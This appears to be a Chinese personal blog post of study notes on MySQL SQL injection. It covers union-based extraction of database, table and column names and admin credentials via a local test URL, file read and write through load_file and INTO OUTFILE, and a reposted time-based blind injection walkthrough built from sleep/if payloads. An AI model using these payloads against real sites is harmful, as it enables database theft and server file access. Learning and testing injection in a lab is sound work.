mysql註入篇
博客這個東西真的很考驗耐心,每寫一篇筆記,都是在艱難的決定中施行的,畢竟誰都有懶惰的一面,就像這個,mysql註入篇,拖拖拖一直拖到現在才開始總結,因為這個實在是太多太雜了,細細的總結一篇太燒腦。
由於我沒有找見php的實戰本地源碼,所以只好用一些漏洞平臺的源碼來演示了,演示不了的,只能列代碼,沒有實操圖。畢竟找不見源碼,,沒法。。。
首先我們都知道mysql數據庫和Access數據庫的不同,不同在mysql是分多個數據庫名的。
就像像我上圖貼的這個格式一樣,原諒我是在是沒有本地源碼,連數據庫的都沒有,所以,貼不開實際圖。
在mysql註入中,我們不細談mysql其他的技巧類,只講註入,說到這裏,這個數據庫可以分為兩個部分,一個是5.0以上,一個是5.0以下。因為在5.0以上的版本中,會存在一個類似虛擬的information_schema 這個數據庫,裏面匯總了該大數據庫下,所有的數據,也就是說是在其他數據庫A,數據庫B以內的數據,都可以在這裏找見,而5.0以下的,就只能和Access數據庫一樣靠猜解庫名,表名,列名。
現在來介紹幾個在滲透測試中常用的幾個函數和表庫名。
數據庫名:database()
數據庫版本: version()
數據庫用戶: user()
操作系統: @@version_compile_os
系統用戶名: system_user()
當前用戶名: current_user
連接數據庫的用戶名:session_user()
讀取數據庫路徑:@@datadir
MYSQL安裝路徑:@@basedir
load_file 轉成16進制或者10進制 MYSQL讀取本地文件函數
into outfile 寫入函數
儲存所有表名信息的表 : information_schema.tables
表名 : table_name
數據庫名: table_schema
列名 : column_name
儲存所有列名信息的表 : information_schema.columns
好了下面就開始記錄我構造的語句了,這裏先說一點,我會總結的很細,但是我不會在這篇文章裏總結一些註入繞過的技巧,只會總結一些註入得庫,表,列的語句。mysql註入可分為很多中註入方法,從普通註入,報錯註入,再到盲註,還有一些奇葩的註入點語句,也就是這些。關於大家都知道的post註入,cookie註入,字符串註入,搜索註入,這些註入技巧,我會專門開一片文章記錄下,因為這些都是技巧性的。
我現在先記錄mysql5.0 以上的註入方法,5.0以下的就像我前面的說的一樣,沒有規律可循,全靠蒙,全靠猜,和Access數據庫一樣。首先我需要判斷是否可以註入,然後再判斷 字段數,這兩個步驟和Access數據庫註入一樣,都是 and 1=1 , and 1=2 ,還有 order by 字段數。剩下的註入庫名,表名,列名,數據才是重點。
http://127.0.0.1/mysql/sql.php?x=1
假如這是一個註入點,我們知道他的字段數是3,那麽我們的語句就是 :
http://127.0.0.1/mysql/sql.php?x=1 union select 1,2,3
然後直接回車,查看能否爆出數字,這裏和Access的不同是,這裏不需要在後面面加入表名,因為我們也不知道表名是啥,如果是5.0以下的,我們就只能像Access呢個的進行猜了。
假如爆出1,2 ,3 這三個字段數,那我們就可以註入一些信息了。
http://127.0.0.1/mysql/sql.php?x=1 union select database(),version(),user()
這三個函數,我們分別替代了1,2,3這三個位置,然後就可以得出數據庫名,數據庫版本,數據庫用戶,記住這是當前的數據庫的名字,和用戶。
假如我們得知:
當前數據庫名:sqlin
數據庫版本:5.5.40
當前數據庫用戶:[email protected]
當然我們也可以替換成其他的函數,比如 @datadir 來獲取數據庫路徑, @@version_compile_os 來獲取操作系統,對了說到操作系統,win對大小寫不銘感,但是Linux對大小很銘感,不能出錯的,這個要記住。
下面開始構造獲取當前數據庫下的表名:
http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(table_name),2,3 from
information_schema.tables where table_schema=0x73716C696E20
這個語句的意思就是獲取當前數據庫下所有表名,0x73716C696E20
這個是hex編碼,大家可以用小葵轉換工具來轉換,就是把第一步收集到的當前數據庫名hex編碼一下。當然我們也可以一個一個的來註入出當前數據庫下所有表名,等等,讓我去找找我的筆記本,我翻翻我自己在本子上記錄的。額,找不見了,估計忘學校沒拿了,,我去網上找找貼一段。
http://127.0.0.1/mysql/sql.php?x=1 union select table_name,2,3, from information_schema.SCHEMATA limit 0,1
這個也是可以註入出當前數據庫的表名的,只不過是一個一個的輸出,你知道控制limit後面的數字就可以,比如 0,1 、1,2、2,3 就是這個格式的。
不過我還是喜歡全部爆出來,然後再一個一個去找可能存在賬密的表,所以我就只記錄全部爆出的。
假如我們選中了一個叫 admin 的這個表名,那麽就開始爆出該表名下的列名。
下面開始構造註入當前表名下的列名的語句:
http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(column_name),2,3 from
information_schema.columns where table_name=0x61646D696E
這個就可以爆出所有該表名的下的列名,0x61646D696E 這個是我們剛才選中的 admin 這個表名的hex的轉碼。
這一步下去,我們就得到列名了,假如我們選中了 username ,password 這兩個列名,那麽我就開始爆數據了,這個就很簡單了,
http://127.0.0.1/mysql/sql.php?x=1 union select 1,username,password from admin
這個是不是就出來了,對了還有個方法,就利用一個字數點,就爆出以內全部的列名下的信息。
http://127.0.0.1/mysql/sql.php?x=1 union select 1,group_concat(username,0x5c,password),3 from admin
這個就是利用一個點,出來全部的數據。
這個是最簡單的常規測試的,我在上面的函數裏是不是還列出了一個load_file() 這個函數,這個是用來讀取路徑內的內容的,但是必須是絕對路徑,比如: D:\mysql\123,txt 它只能讀取這樣的絕對路徑的內容。
這是一個例子:
http://127.0.0.1/mysql/sql.php?x=1 union select load_file(‘D:/mysql/123,txt ‘),2,3
這個就是一個讀取,root權限和普通權限可以有很大區別的,如果是root,你可以讀取全部的,如果不是root ,是普通,你只能讀取普通用戶才能讀的文件。對了,root,,,前面還有一個函數,我得說說 into outfile 寫入函數 ,這個必須是root權限才行的,而且你還得需要知道絕對路徑。
這是一個例子:
http://127.0.0.1/mysql/sql.php?x=1 union select ‘shiyan‘,2,3 into outfile ‘D:/mysql/123,txt‘
對了,不知道你們發現了沒有我在地址用了 / 這個,而沒有用 \ 這個,算個小謎題,我不細說了。
到這裏是不是就可以說完了?錯!我盲註語句,還有報錯語句還沒匯總了。。。現在開始匯總。
先構造盲註語句吧,盲註的核心就是靠 if 判斷來註入的,我去。。。我在本地的記事本上構造了半天,才想開一個問題,,,盲註不是幾個簡單的語句就能概括全的,就像上面寫的雖然總結了,但是也只是常用的mysql手工註入,還有很多的其他的等等的。。。算了,我直接貼一個吧,在烏雲上的文章,,一位大神總結的,但是也只是一小部分,還有其他的很多構造語句,他的文章對於理解盲註可以理解下,不過一般這類測試都是直接上sqlmap神器直接跑的,畢竟手工註入也只是因為靈活的特性才一直保留的,可以各種繞,各種測試,所以也是必須得會的。
我要開始貼這個大神總結mysql手工盲註了,(如果大神本人看到了,覺得侵權了,我可以私信我,我會刪的。)
-----------------------------------------------------------------------------------------------------------
mysql手工盲註
作者:[email protected]
盲註的核心是靠 if 判斷來註入
手工盲註之前先復習一下if 判斷等函數
version() 是查看數據庫版本
database() 查看數據庫名
user() 查看當前用戶
length( xxxxx ) 函數是統計字符串的長度
mid(str,1,3) 字符串截取
從字節1開始截 截到3就結束
知乎專欄
ORD() 轉換成ascii碼
ascii碼對照表 ASCII碼對照表
IF 語法:
if (條件,True,False);
開始手工盲註
select * from admin where user = "admin" and sleep(2); 執行需要2秒
1.獲取數據庫名長度
database() 查看數據庫名
## ( select length(database() ) )
查詢數據庫名長度
select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
如果數據庫的長度等於2的話那麽就執行true 否則就執行False
最後變成了 sleep(0)
如果數據庫長度等於 7 的話 就執行true
最後變成了 sleep(5)
也就是select * from admin where user = "admin” and sleep(5)
最後得知數據庫長度是 7 那麽接下來就是獲取數據庫名了
2.獲取數據庫名
數據庫長度是 7
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = ‘a‘ ) , 5,0 ) );
執行執行False 說明 第一個字節不是a
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = ‘x‘ ) , 5,0 ) );
執行執行true 執行了5秒 說明第一個字節是x
然後慢慢註入到7。。。。。。
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = ‘x‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = ‘i‘ ) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = ‘n‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = ‘d‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = ‘o‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = ‘n‘) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = ‘g‘) , 5,0 ) );
第一個字節是x
第二個字節是i
第三個字節是n
第四個字節是d
第五個字節是o
第六個字節是n
第七個字節是g
全都是執行 5秒 然後得知 數據庫是 xindong
當然了 這方法註入比較慢 比如有些數據庫是特殊符號呢?那怎麽辦?一個一個符號猜解嗎?
采用ORD函數進行ascii碼來判斷會快點
比如:
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
條件:大於200 執行false 說明 不大於
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
條件:大於100 執行true 說明大於
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
條件:大於120 執行false 說明不大於
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
條件:大於110 執行true 說明大於
說明數據庫第一個字節的ascii碼大於110小於120
說明是110~120之間
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );
等於 120 執行true 說明第一個字節的ascii碼是120
最後解碼得出是 x
3.獲取表名長度
select * from admin where user = ‘admin‘ and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
字節等於 5 執行true
說明表名長度為5
4.獲取表名
獲取第1個字節
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))=‘a‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請求時間為5秒 說明是a
獲取第2個字節
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))=‘d‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請求時間為5秒 說明是d
獲取第3個字節
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))=‘m‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請求時間為5秒 說明是m
獲取第4個字節
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))=‘i‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請求時間為5秒 說明是i
獲取第5個字節
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))=‘n‘ ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
請求時間為5秒 說明是n
5.獲取表名的第一個字段長度
表名是:admin 16進制:61646d696e
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
請求時間5秒 說明第一個子段有4個字節
6.獲取表名的第一個字段名
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= ‘u‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= ‘s‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= ‘e‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= ‘r‘,5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;
爆出第一個字段是 user
然後第一個字段判斷可能是用戶名 還少來個密碼字段那麽就在 5.獲取表名的第一個字段長度 把limit 1,1 獲取下一個字段長度再進行獲取密碼字段
7.獲取數據庫內容
7.1 先猜第一個字段的數據庫的長度
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
執行5秒 說明這個字段的數據內容字節長度是5
那麽就是獲取數據了
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,1,1) = ‘a‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,2,1) = ‘d‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,3,1) = ‘m‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,4,1) = ‘i‘ , 5,0) ) from admin limit 0,1;
select * from admin where user = ‘admin‘ and 1=2 union select 1,sleep( if (mid(user,5,1) = ‘n‘ , 5,0) ) from admin limit 0,1;
然後用戶名就是 admin 了
終於貼完了,,,,,這些基本上就可以了解到手工盲註的原理和構造了,當然如果還想繼續深入的話,可以去百度吧,,,去搜索吧。。。畢竟這些只是一些皮毛。
下面開始說其他的報錯註入了,,,這個我研究了好久,後來一過年,我又忘的差不多了。。。。好多種報錯方式註入,,這個我自己是真的只能找資料匯總到一塊了,我自己是手寫不開的,,都忘的差不多了。。。。
都是超鏈接,自己想深入的可以再去找找資料。
十種MySQL報錯註入
根據mysql報錯進行回顯註入的原理是什麽?
MySQL暴錯註入方法整理
Mysql報錯註入原理分析(count()、rand()、group by)
MySQL註入總結&MySQL暴錯註入方法整理
經典的MySQL Duplicate entry報錯註入
好了,這些就差不多了,都是我看過的,雖說還是不太精通,,,畢竟這個在ctf中才會出現的題。。。。。
總結下吧,沒有源碼,無法演示,上面說的我用攻防平臺吧,後來想了想,我還準備專門開帖子,記錄我打本地攻防平臺的帖子,提前上的話,感覺我就沒動力記錄的了。這個文章,正如上面說的,很多技巧都沒記錄,純粹的簡單的記錄了下,畢竟我想把技巧性的再匯總到一個帖子裏。
每記錄一下,都是對自己知識的復習,就像人家搞培訓的,多講講就不會忘,我是自己多寫寫多匯總匯總,就算忘了,我自己翻看我自己的記錄也會很快想起來的。
mysql註入篇